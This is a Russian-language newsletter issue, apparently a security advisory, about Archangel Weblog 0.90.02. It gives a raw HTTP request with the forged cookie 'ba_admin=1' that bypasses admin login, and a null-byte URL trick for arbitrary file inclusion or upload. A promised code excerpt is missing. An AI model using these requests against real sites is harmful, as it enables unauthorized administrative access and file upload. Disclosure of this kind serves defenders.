Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в Archangel Weblog.


Компьютер для продвинутых пользователей
Содержание:
Archangel Weblog
ПО: Archangel Weblog
Версия: 0.90.02

О программе:
Archangel Weblog - новая, полностью графическая программа для управления блогами. Написан на PHP и использует MySQL базы данных, Archangel Weblog легок в установке, настройки и поддержки. Может использоваться пользователем любой квалификации.
Ошибка:
Ошибка вызвана недостаточной проверкой пользовательского ввода. Пользователь может легко подделать cookies для получения административных привилегий. Пользователь может войти в панель администратирования и может закачать на форум любой файл.
Использование:
Для получения административного доступа к скриптам weblog, просто используйте следующий запрос:
[http get request]
GET http://127.0.0.1/awb/admin/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051229 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: ba_admin=1
Cache-Control: max-age=0
[/http get request]
или просто добавьте запрос в cookie.
Теперь просмотрим /admin/index.php , линия 54:

Так возможно закачка любого файла использую символ NULL для фильтра при использовании PHP.
Например:
http://127.0.0.1/awb/admin/index.php?index=http://www.google.it%00
Archangel Weblog
Рассылка создана и ведется при поддержке Информационной сети Пермского края.
Меня можно найти: ICQ - 273214003

В избранное